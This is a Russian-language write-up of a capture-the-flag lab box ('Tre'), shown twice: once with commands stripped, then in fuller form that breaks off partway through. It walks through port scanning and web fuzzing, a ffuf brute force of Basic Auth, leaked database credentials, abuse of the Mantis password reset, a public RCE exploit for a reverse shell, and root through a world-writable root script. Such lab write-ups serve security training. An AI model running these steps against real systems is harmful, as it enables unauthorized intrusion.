Приветствую!
Хотел бы поделиться прохождением коробки из листинга Offensive Security. Бокс разработан командой
1. Recon
1.1. Первым делом сканируем доступный хост на предмет открытых портов:
Видим три открытых порта, два из которых относятся к веб серверу и один SSH.
1.2. Information gathering
Один из самых важных этапов при проведении тестирования на проникновение — Сбор информации. Чем больше информации, тем больше векторов для атаки. Для удобства все найденые по ходу данные, помещаю в таблицу:
Web App information table:
Hidden Dirs:
Один из важнейших этапов при сборе информации. Применяемые словари:
/SecLists/Discovery/Web-Content/common.txt:
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 7907, Words: 4362, Lines: 1038]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
/SecLists/Discovery/Web-Content/big.txt:
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:
system [Status: 401, Size: 460, Words: 42, Lines: 15]
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt:
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
/SecLists/Discovery/Web-Content/raft-large-directories.txt:
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
/robots.txt
Файл не существует!
Теперь когда мы прошлись по словарям, собирем все найденное в файле hidden_dirs.txt и применим команду awk. Нас интересует убрать дубли из файла.
Супер, теперь у нас есть список директорий. Пришло время искать файлы.
Hidden files:
Применяемые словари:
Так как мы знаем что у нас PHP, то добавим к общему списку словарей еще и Common-DB-Backups.txt и Common-PHP-Filenames.txt
Таким образом список словарей будет таким:
/SecLists/Discovery/Web-Content/common.txt
/SecLists/Discovery/Web-Content/big.txt
/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt
/SecLists/Discovery/Web-Content/Common-DB-Backups.txt
Способы применения:
- Словари с каталогами. Тут мы при фазинге будем подставлять строки из файла в качестве имени файла, тип файла определим самостоятельно.
- Словари с файлами PHP и DB. Ищем искомое.
/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
/SecLists/Discovery/Web-Content/Common-DB-Backups.txt
Пусто!
SecLists/Discovery/Web-Content/common.txt
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
/SecLists/Discovery/Web-Content/big.txt
Когда все собрано, проделываем тот же прием как и с файлом директорий.
И получаем файлы…
Те же действия требуется провести для поиска интересующих типов файлов, таких как
1.3. Web Application
Смотрим исходный код страницы на предмет комментариев и иной важной информации (версии, js скрипты, css разметка).
Единственное что может быть интересным, это
Качаем к себе файл:
Вскрываем мета-данные:
Как оказалось, в нем нет секретов))) Двигаемся по найденным скрытым файлам.
Так как у нас имеется содержимое, то стоит сново произвести фазинг этих каталогов на содержимое в них файлов и каталогов. Как говорил ранее, фазить придется много и очень долго!!!!
Я не буду сново повторяться в сканировании, скажу лишь что весь процесс требуется повторить, как мы делали это ранее.
И так далее… Задача собрать все что можем собрать с каждой директории. Проческать каждый файл, каждый бэкап.
Смотрим искодник по адресу
И в нем нет ничего, что могло бы меня заинтересовать! Так же проходимся по всем css и js файлам указанным в исходном коде.
Смотрим функционал сайта. На сайте есть кнопка
При фазинге адресса
index файлы хоть и имею статус 200, но имеют нулевой сайз, то есть пустые. Двинув по каталогам, по адресу
Пока мануально перебираю каталоги, пробую натравить CMSmap на адрес
Почитав документацию и еще пару часиков фазинга меня начали выбивать… Я понял что я устал тут капать. Было ощущение, что я двигаюсь не в том направлении, так как согласно докам по BigTree, у меня должны быть рабочими Админка и страртовая в виду
При попытке обратится к каталогу, меня встречает Basic Auth Form
Единственное что я мог бы попробовать, так это брутить с помощью
Для брута я буду использовать
Задача данного скрипта собрать валидный формат loginassword и перевести в base64
Теперь декодируем найденую пару и получаем admin : admin
Авторизуемся… И перед нами форма авторизации Mantis Bug Tracker
Супер, фиксируем это себе и двигаемся дальше. Так же выйти на форму авторизации баг трекера мы можем обратившись по адрессу
Этот каталог найден нами ранее при фазинге. Так как у меня имеется реальное приложение, самое время поглядеть есть ли какие-то эксплоиты.
Как видим список достаточно большой. На данном этапе нам желательно получить версию приложения с которым мы столкнулись. Для решения этой задачи мы снова будем фазить.. Много фазить!
Пока FUFF напрягается, пробую поглядеть исходники на предмет версии. Покапавшись минут 20 я так ничего не нашел, а значит надежда на ffuf.
По окончанию работы ffuf, у меня появилось огромное поле для работы.
Перекапывая каждую директорию, я наткнулся на 2 файла по адрессу
В файле data.sql я нахожу строчки:
Тут мы видим добавление пользователя administrator в базу. Интерес вызвала строка cookie_string. Я так понимаю, что куки хранятся в базе.
В файле a.txt находим следующую информацию:
Обращаем внимание, что перед нами копия конфига доступа к базе, а значит, наверное, мы сможем туда попасть.
И так, у нас остались пару файлов в корне, которые мы еще не смотрели:
При обращении по адресу
А тут нас ждет менеджер БД))))
Итоги:
1. У нас имеется форма авторизации к менеджеру БД
2. Форма авторизации к Mantis BT
3. Имеются креды
Mantis BT
При переходе на
Проходя по этим страницам, я обратил внимание на формат ошибки
Нам указываю на то, что не найден параметр id. Пробуем его подставить, но без результата(((
Но перейдя на
Нам возвращается все та же ошибка об отсутствии параметра id, но когда мы его доставляем, то вызывается другая ошибка
Нам указывают что не хватает параметра confirm_hash. Мы подставляем и его
И нас редиректит на форму сброса пароля))) Пробуем поменять пароль… Нас редиректит на авторизацию, пробуем зайти administrator : наш пароль
И мы внутри))) Теперь мне нужно найти версию приложения
Супер. Можем вернуться к поиску эксплоита
Меня заинтересовала вот эта строчка
Почитав описание, становится понятно, что эксплоит эксплуатирует 2 узвимости
CVE : CVE-2017-7615, CVE-2019-15715
CVE-2017-7615 — это как раз сброс пароля, который мы сделали самостоятельно.
CVE-2019-15715 - Escape GraphViz command before calling proc_open()
Я очень хотел в райтапе разобрать этот эксплоит мануально, чтоб и я и вы достигли понимания как эксплуатируется уязвимость, но посидев пару дней, у меня что-то не скаладывалось на CMD injection и я решил просто использовать эксплоит.
А что с менеджером БД (Adminer)?
Я решил не разбирать этот процесс, так как райтап становится слишком большим. Скажу лишь то, что найденные настройки в копии конфига подходят и соответственно появляется возможность создать своего пользователя и назначить его админом. Это дает возможность просто авторизоваться, минуя сброс пароля.
2. ЭКСПЛУАТАЦИЯ
Тянем эксплоит к себе и настраиваем его. Ставим листенера и запускаем наш эксплоит
Да-да, вы наверное уже и забыли, что у нас имеется еще один порт)) Так как я учусь, я решил пока оставить пост-эксплуатацию и поискать еще уязвимости. Ведь цель то не просто пройти, а развивать навыки!
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
ПУСТО!!!!((((
Тоже пусто(
Попробуем поискать еще HTML страницы
index [Status: 200, Size: 164, Words: 8, Lines: 9]
И снова ничего…
Попытки поискать другие форматы файлов не принесли результата. По видимому с этим портом можно заканчивать и двигаться к Пост-эксплуатации.
3. Post-Explotation
Попав внутрь сис-мы, первым делом привожу в порядок оболочку. Но при попытке ее стабилизировать вижу такую картину
Понимаю, что требуется вернуть еще одну. Сделаю я это с помощью
И вижу что nc отсутствует в системе. Можно вернуть оболочку разными методами, но я сделаю это тем же способом, но только загружу на жертву бинарный
1. Открываем каталог где у нас лежит бинарник
2. Стартуем локальный сервер
3. На жертве топаем в /tmp
4.
5.
Ставим листенера у себя и на жертве запускаем ncat
И стабилизируем нашу оболочку. Когда все сделано принимаемся за дело!
И так, сейчас самое время понять что начинается другой уровень этой игры, а значит мы забываем все что было ДО, нас интересует только текущая ситуация. Как всегда, мы начинаем со сбора информации:
OS: Debian GNU/Linux 10 (
Architecture: x86_64 GNU/Linux (
Kernel version: 4.19.0-9-amd6 (
GCC compiler: gcc version 8.3.0 (
Эта информация важна тем, что дает нам вектор для использования уязвимости ядра, если такая есть и если нам это понадобится. Вообще считается, что реализовывать данный вектор требуется только в случае, если по другому уже ни как)))
Process
Меня интересуют процессы которые запущенны от рута или от другого пользователя, который имеет больше прав в системе чем я.
Для этого я использую pspy
Забрасываю его на жертву в /tmp и запускаю
Переглядывая процессы в реальном времени, меня заинтересовал вызов команды
Выйдя обратно в шелл, я решил пересмотреть задачи cron, но не нашел ничего(((
Cron jobs
Собственно ничего, что могло бы меня заинтересовать. Двигаемся дальше!
Config Files
Тут мы смотрим разные конфигурациионные файлы на предмет содержания в них кредов.
Ищем config.php, файл для соединения веб-сервера и БД
www-data@tre:/tmp$ find /var/ -type f -name config.php 2>/dev/null
/var/www/html/system/plugins/MantisCoreFormatting/pages/config.php
/var/www/html/system/plugins/XmlImportExport/pages/config.php
/var/www/html/mantisbt/plugins/MantisCoreFormatting/pages/config.php
/var/www/html/mantisbt/plugins/XmlImportExport/pages/config.php
И в них пусто!
Пробуем почитать mysql лог файл
Read/Write etc/passwd,shadow,sudoers
Без результата!
Find suid and guid files
И снова ничего нету
Find any creds in files
Тут мы отправляем вывод
Проглядев эти файлы, я снова ничего не нарыл…
Вообщем перебрав все варианты, котрые я имел я решил воспользоваться уязвимостью ядра, но тут меня тоже ждала неудача, так как для версии ядра 4.19.0-9 я не нашел эксплоит(((
Дальше я решил воспользоваться linpeas’ом для сбора информации. Я не люблю автоматизацию, предпочитаю все делать руками. Но тут сам Бог велел. Отмечу что тут я тоже потерпел неудачу(((
Потыкав еще часок, я решил вернуться к процессам. Уж очень меня интересовал вызов команды
Запустив pspy еще раз проверяю все строчки…
Блин… Я трижды смотрел в список и не обратил внимания на эту строчку
Запускается какой-то check-system
Опля… Удача. Перед нами файл принадлежащий root, им же запускаемый и еще и имеющий права для чтения и записи для ВСЕХ!
Смотрим что внутри
А вот и наш
Для этого мне потребуется скопировать мой ncat из tmp в
Преношу ncat и редактирую скрипт.
Сохраняю, ставлю у меня листенера и перезапускаюсь!
Мы есть Root )
P.S. В целом получил огромное удовольствие от прохождения. Эта коробка стала для меня неким показателем собственного роста. Но пройдя ее, меня не покидала мысль, что решение не совсем верное. Почему? Так как я проходил ее используя виртуальную машину, то понятно, что уйти на перезапуск достаточно просто. Но я же понимаю как это работает у OffSec'ов. Там если ты сделал ребут, то коробка перезагружается с начала, а соответственно все мои правки сошли бы на нет.
Вообщем поразмышляв над этим, я решил посмотреть райтапы. И тут меня ждала новость. Как оказалось, пройти ее можно было очень быстро и решение по факту было перед моими глазами. Помните adminer? Тот менеджер БД.. Так вот когда мы авторизовываемся в нем, там лежат два юзера с правами админа и менеджера. Один с логином administrator, другой tre. А системный юзер tre у нас был. Так вот, уязвимость болле чем простая и встречается по сей день, а именно - Использование одного пароля, для разных сервисов. Как оказалось, пароль лежащий в базе подходил для доступа в SSH, а сам юзер имел sudo права на выполнения shutdown команды.
Соответственно введя shutdown -r мы бы перезапустили коробку без изменений))) Вот так вот. Но все же, я доволен что проходил ее более длинным путем. По факту мне удалось найти уязвимость не зная о ее существовании(Сброс пароля), а это как ни как показатель знаний, опыта и труда!
Конечо в райтапе не передать всего с чем пришлось столкнуться. Например фазинг. Его реально было много, очень много. Думаю часов 12+ наберется в сумме. Я реально сканил каждую директорию на предмет каталогов и файлов и это все миллионы строк запросов. А сколько раз я пытался впихнуть шелл в цикл при повышении... И реально бесился что нечего не выполнялось, пока не понял что скрипт запускается единожды при запуске)) Вообщем на прохождение этой коробки мне потребовался 1 месяц. Решал я ее в свободное время от курса WAPT, когда приходлось по несколько дней ждать перехода на следующую тему. Но за то мне удалось вникнуть в каждый процесс.
С Уважением
Хотел бы поделиться прохождением коробки из листинга Offensive Security. Бокс разработан командой
Ссылка скрыта от гостей
уж очень мне нравится что они создают)))1. Recon
1.1. Первым делом сканируем доступный хост на предмет открытых портов:
sudo nmap -p- -T 5 -A 192.168.1.106 —open
Код:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:1a:ea:d7:d7:b3:48:80:9f:88:82:2a:14:eb:5f:0e (RSA)
| 256 f4:f6:9c:db:cf:d4:df:6a:91:0a:81:05:de:fa:8d:f8 (ECDSA)
|_ 256 ed:b9:a9:d7:2d:00:f8:1b:d3:99:d6:02:e5:ad:17:9f (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-tite: Tre
|_http-server-header: Apache/2.4.38 (Debian)
8082/tcp open http nginx 1.14.2
|_http-title: Tre
|_http-server-header: nginx/1.14.2
MAC Address: E0:2B:E9:E8:28:99 (Intel Corporate)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Видим три открытых порта, два из которых относятся к веб серверу и один SSH.
1.2. Information gathering
Один из самых важных этапов при проведении тестирования на проникновение — Сбор информации. Чем больше информации, тем больше векторов для атаки. Для удобства все найденые по ходу данные, помещаю в таблицу:
Web App information table:
Port | 80 |
Web server | Apache httpd 2.4.38 |
Hidden dirs | |
Hidden files | |
Application type | |
Hidden Dirs:
Один из важнейших этапов при сборе информации. Применяемые словари:
- /SecLists/Discovery/Web-Content/common.txt
- /SecLists/Discovery/Web-Content/big.txt
- /SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
- /SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
- /SecLists/Discovery/Web-Content/raft-large-directories.txt
- /robots.txt
/SecLists/Discovery/Web-Content/common.txt:
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 7907, Words: 4362, Lines: 1038]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
/SecLists/Discovery/Web-Content/big.txt:
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:
system [Status: 401, Size: 460, Words: 42, Lines: 15]
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt:
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
/SecLists/Discovery/Web-Content/raft-large-directories.txt:
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
/robots.txt
Файл не существует!
Теперь когда мы прошлись по словарям, собирем все найденное в файле hidden_dirs.txt и применим команду awk. Нас интересует убрать дубли из файла.
awk '!seen[$0]++' hidden_dirs.txt > dirs_sorted.txt
Код:
┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]
└──╼ $cat dirs_sorted.txt
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
Супер, теперь у нас есть список директорий. Пришло время искать файлы.
Hidden files:
Применяемые словари:
Так как мы знаем что у нас PHP, то добавим к общему списку словарей еще и Common-DB-Backups.txt и Common-PHP-Filenames.txt
Таким образом список словарей будет таким:
/SecLists/Discovery/Web-Content/common.txt
/SecLists/Discovery/Web-Content/big.txt
/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt
/SecLists/Discovery/Web-Content/Common-DB-Backups.txt
Способы применения:
- Словари с каталогами. Тут мы при фазинге будем подставлять строки из файла в качестве имени файла, тип файла определим самостоятельно.
- Словари с файлами PHP и DB. Ищем искомое.
/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
/SecLists/Discovery/Web-Content/Common-DB-Backups.txt
Пусто!
SecLists/Discovery/Web-Content/common.txt
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
/SecLists/Discovery/Web-Content/big.txt
ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/big.txt -c -t 70
Код:
adminer [Status: 200, Size: 4656, Words: 204, Lines: 51]
info [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -c -t 70
info.php [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -c -t 70 --fc 403
Код:
info [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
adminer [Status: 200, Size: 4655, Words: 204, Lines: 51]
Когда все собрано, проделываем тот же прием как и с файлом директорий.
awk '!seen[$0]++' hidden_files.txt > files_sorted.txt
И получаем файлы…
Те же действия требуется провести для поиска интересующих типов файлов, таких как
bak, old, backup,txt
. Сразу отмечу, что на этой машине данных файлов не обнаружено, а это значит что мы можем переходить к самому веб приложению.1.3. Web Application
Смотрим исходный код страницы на предмет комментариев и иной важной информации (версии, js скрипты, css разметка).
Единственное что может быть интересным, это
file.jpg
. Проверим его на наличие секретов в мета-данных.Качаем к себе файл:
curl -O [URL='http://192.168.1.106/file.jpg']http://192.168.1.106/file.jpg
[/URL]Вскрываем мета-данные:
exiftool file.jpg
Код:
exiftool file.jpg
ExifTool Version Number : 12.16
File Name : file.jpg
Directory : .
File Size : 223 KiB
File Modification Date/Time : 2021:10:28 14:09:20+03:00
File Access Date/Time : 2021:10:28 14:09:20+03:00
File Inode Change Date/Time : 2021:10:28 14:09:20+03:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 1400
Image Height : 980
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1400x980
Megapixels : 1.4
Как оказалось, в нем нет секретов))) Двигаемся по найденным скрытым файлам.
Код:
┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]
└──╼ $cat dirs_sorted.txt
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
Код:
┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]
└──╼ $cat files_sorted.txt
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
adminer.php [Status: 200, Size: 4655, Words: 204, Lines: 51]
Ссылка скрыта от гостей
Перейдя в директорию cms
нас редиректит на сайт solmusicТак как у нас имеется содержимое, то стоит сново произвести фазинг этих каталогов на содержимое в них файлов и каталогов. Как говорил ранее, фазить придется много и очень долго!!!!
ffuf -u http://192.168.1.106/cms/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100
Код:
cache [Status: 301, Size: 318, Words: 20, Lines: 10]
core [Status: 301, Size: 317, Words: 20, Lines: 10]
custom [Status: 301, Size: 319, Words: 20, Lines: 10]
extensions [Status: 301, Size: 323, Words: 20, Lines: 10]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1]
site [Status: 301, Size: 317, Words: 20, Lines: 10]
templates [Status: 301, Size: 322, Words: 20, Lines: 10]
vendor [Status: 301, Size: 319, Words: 20, Lines: 10]
Я не буду сново повторяться в сканировании, скажу лишь что весь процесс требуется повторить, как мы делали это ранее.
ffuf -u http://192.168.1.106/cms/site/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100
Код:
css [Status: 301, Size: 321, Words: 20, Lines: 10]
img [Status: 301, Size: 321, Words: 20, Lines: 10]
index.html [Status: 200, Size: 12540, Words: 762, Lines: 356]
js [Status: 301, Size: 320, Words: 20, Lines: 10]
И так далее… Задача собрать все что можем собрать с каждой директории. Проческать каждый файл, каждый бэкап.
Смотрим искодник по адресу
http://192.168.1.106/cms/site/
И в нем нет ничего, что могло бы меня заинтересовать! Так же проходимся по всем css и js файлам указанным в исходном коде.
Смотрим функционал сайта. На сайте есть кнопка
Login
, Create an account
но они не рабочие. Так же на сайте можно прослушивать музыку. Манипуляции типа скачать или купить не работают((( Порыскав еще пол часика, я решил оставить этот ресурс и двигаться дальше.При фазинге адресса
http://192.168.1.106/cms/core/
были выявлены следующие каталоги и файлы:
Код:
admin [Status: 301, Size: 323, Words: 20, Lines: 10]
feeds [Status: 301, Size: 323, Words: 20, Lines: 10]
inc [Status: 301, Size: 321, Words: 20, Lines: 10]
index.html [Status: 200, Size: 0, Words: 1, Lines: 1]
index.php [Status: 200, Size: 0, Words: 1, Lines: 1]
index файлы хоть и имею статус 200, но имеют нулевой сайз, то есть пустые. Двинув по каталогам, по адресу
http://192.168.1.106/cms/core/feeds/rss2.php
было выявленно BigTree CMS.Пока мануально перебираю каталоги, пробую натравить CMSmap на адрес
http://192.168.1.106/cms/site/
, но результата не получил(((Почитав документацию и еще пару часиков фазинга меня начали выбивать… Я понял что я устал тут капать. Было ощущение, что я двигаюсь не в том направлении, так как согласно докам по BigTree, у меня должны быть рабочими Админка и страртовая в виду
site/[/I]index.php
, но он отсутствовал. Принято, оставляем это дело и топаем дальше)))
Ссылка скрыта от гостей
При попытке обратится к каталогу, меня встречает Basic Auth Form
Единственное что я мог бы попробовать, так это брутить с помощью
Common-Username
в качестве логина и пароля. Другими словами, нам нужна Cluster BombДля брута я буду использовать
ffuf
, но так как он не заточен под Basic Auth, то буду использовать решение в виде ffuf_basicauth.sh
Задача данного скрипта собрать валидный формат loginassword и перевести в base64
Код:
┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]
└──╼ $/opt/hack-tools/Web-tools/ffuf-scripts/ffuf_basicauth.sh /opt/wordlists/SecLists/Usernames/top-usernames-shortlist.txt /opt/wordlists/SecLists/Usernames/top-usernames-shortlist.txt |ffuf -w -:AUTH -u http://192.168.1.107/system/ -H "Authorization: Basic AUTH" -c --fc 401
Код:
Generating HTTP basic authentication strings. This can take a while depending on the length of user and password lists.
Usernames: 17
Passwords: 17
Total combinations: 289
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://192.168.1.107/system/
:: Wordlist : AUTH: -
:: Header : Authorization: Basic AUTH
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 401
______________________________________________
YWRtaW46YWRtaW4= [Status: 302, Size: 0, Words: 1, Lines: 1]
Теперь декодируем найденую пару и получаем admin : admin
Авторизуемся… И перед нами форма авторизации Mantis Bug Tracker
Супер, фиксируем это себе и двигаемся дальше. Так же выйти на форму авторизации баг трекера мы можем обратившись по адрессу
http://192.168.1.107/mantisbt/
Этот каталог найден нами ранее при фазинге. Так как у меня имеется реальное приложение, самое время поглядеть есть ли какие-то эксплоиты.
Как видим список достаточно большой. На данном этапе нам желательно получить версию приложения с которым мы столкнулись. Для решения этой задачи мы снова будем фазить.. Много фазить!
Пока FUFF напрягается, пробую поглядеть исходники на предмет версии. Покапавшись минут 20 я так ничего не нашел, а значит надежда на ffuf.
По окончанию работы ffuf, у меня появилось огромное поле для работы.
Код:
images [Status: 301, Size: 324, Words: 20, Lines: 10]
library [Status: 301, Size: 325, Words: 20, Lines: 10]
doc [Status: 301, Size: 321, Words: 20, Lines: 10]
admin [Status: 301, Size: 323, Words: 20, Lines: 10]
scripts [Status: 301, Size: 325, Words: 20, Lines: 10]
plugins [Status: 301, Size: 325, Words: 20, Lines: 10]
css [Status: 301, Size: 321, Words: 20, Lines: 10]
core [Status: 301, Size: 322, Words: 20, Lines: 10]
js [Status: 301, Size: 320, Words: 20, Lines: 10]
api [Status: 301, Size: 321, Words: 20, Lines: 10]
lang [Status: 301, Size: 322, Words: 20, Lines: 10]
vendor [Status: 301, Size: 324, Words: 20, Lines: 10]
config [Status: 301, Size: 324, Words: 20, Lines: 10]
fonts [Status: 301, Size: 323, Words: 20, Lines: 10]
Перекапывая каждую директорию, я наткнулся на 2 файла по адрессу
http://192.168.1.107/mantisbt/config/
В файле data.sql я нахожу строчки:
Код:
INSERT INTO mantis_user_table(
username, realname, email, password,
date_created, last_visit, enabled, protected, access_level,
login_count, lost_password_request_count, failed_login_count,
cookie_string
)
VALUES (
'administrator', '', 'root@localhost', '63a9f0ea7bb98050796b649e85481845',
'2020-05-12 01:11:19', '2020-05-12 01:11:19', '1', '0', 90,
3, 0, 0, '7ede40367f4c0d22fa257f67440a6db070ba2523653ecdd4ed4606cac99d82a8'
);
Тут мы видим добавление пользователя administrator в базу. Интерес вызвала строка cookie_string. Я так понимаю, что куки хранятся в базе.
В файле a.txt находим следующую информацию:
Код:
# --- Database Configuration ---
$g_hostname = 'localhost';
$g_db_username = 'mantissuser';
$g_db_password = 'password@123AS';
$g_database_name = 'mantis';
$g_db_type = 'mysqli';
# --- Security ---
$g_crypto_master_salt = 'dsf34H@sds$242347832842309843294829304djfkdjsfkd'; # Random string of at least 16 chars, unique to the installation
# --- Anonymous Access / Signup ---
$g_allow_signup = ON;
$g_allow_anonymous_login = OFF;
$g_anonymous_account = '';
Обращаем внимание, что перед нами копия конфига доступа к базе, а значит, наверное, мы сможем туда попасть.
И так, у нас остались пару файлов в корне, которые мы еще не смотрели:
Код:
info.php [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
adminer.php [Status: 200, Size: 4655, Words: 204, Lines: 51]
При обращении по адресу
http://192.168.1.107/info.php
перед нами стандартная страница phpinfo
Ссылка скрыта от гостей
А тут нас ждет менеджер БД))))
Итоги:
1. У нас имеется форма авторизации к менеджеру БД
2. Форма авторизации к Mantis BT
3. Имеются креды
Mantis BT
При переходе на
http://192.168.1.107/mantisbt/
нас редиректит к файлу login_page.php, это дает потенциальную возможность перечислить доступные php страницы:
Код:
search.php [Status: 302, Size: 0, Words: 1, Lines: 1]
core.php [Status: 200, Size: 0, Words: 1, Lines: 1]
login.php [Status: 302, Size: 0, Words: 1, Lines: 1]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1]
plugin.php [Status: 200, Size: 4931, Words: 283, Lines: 53]
view.php [Status: 200, Size: 4929, Words: 283, Lines: 53]
wiki.php [Status: 200, Size: 4929, Words: 283, Lines: 53]
signup.php [Status: 200, Size: 4991, Words: 291, Lines: 53]
verify.php [Status: 200, Size: 5023, Words: 287, Lines: 54]
file_download.php [Status: 302, Size: 0, Words: 1, Lines: 1]
main_page.php [Status: 302, Size: 0, Words: 1, Lines: 1]
bug_report.php [Status: 200, Size: 4991, Words: 291, Lines: 53]
account_delete.php [Status: 200, Size: 4991, Words: 291, Lines: 53]
login_page.php [Status: 200, Size: 6481, Words: 332, Lines: 117]
news_rss.php [Status: 302, Size: 0, Words: 1, Lines: 1]
csv_export.php [Status: 302, Size: 0, Words: 1, Lines: 1]
news_add.php [Status: 302, Size: 0, Words: 1, Lines: 1]
news_update.php [Status: 302, Size: 0, Words: 1, Lines: 1]
Проходя по этим страницам, я обратил внимание на формат ошибки
Нам указываю на то, что не найден параметр id. Пробуем его подставить, но без результата(((
Но перейдя на
http://192.168.1.107/mantisbt/verify.php
начались изменения)))Нам возвращается все та же ошибка об отсутствии параметра id, но когда мы его доставляем, то вызывается другая ошибка
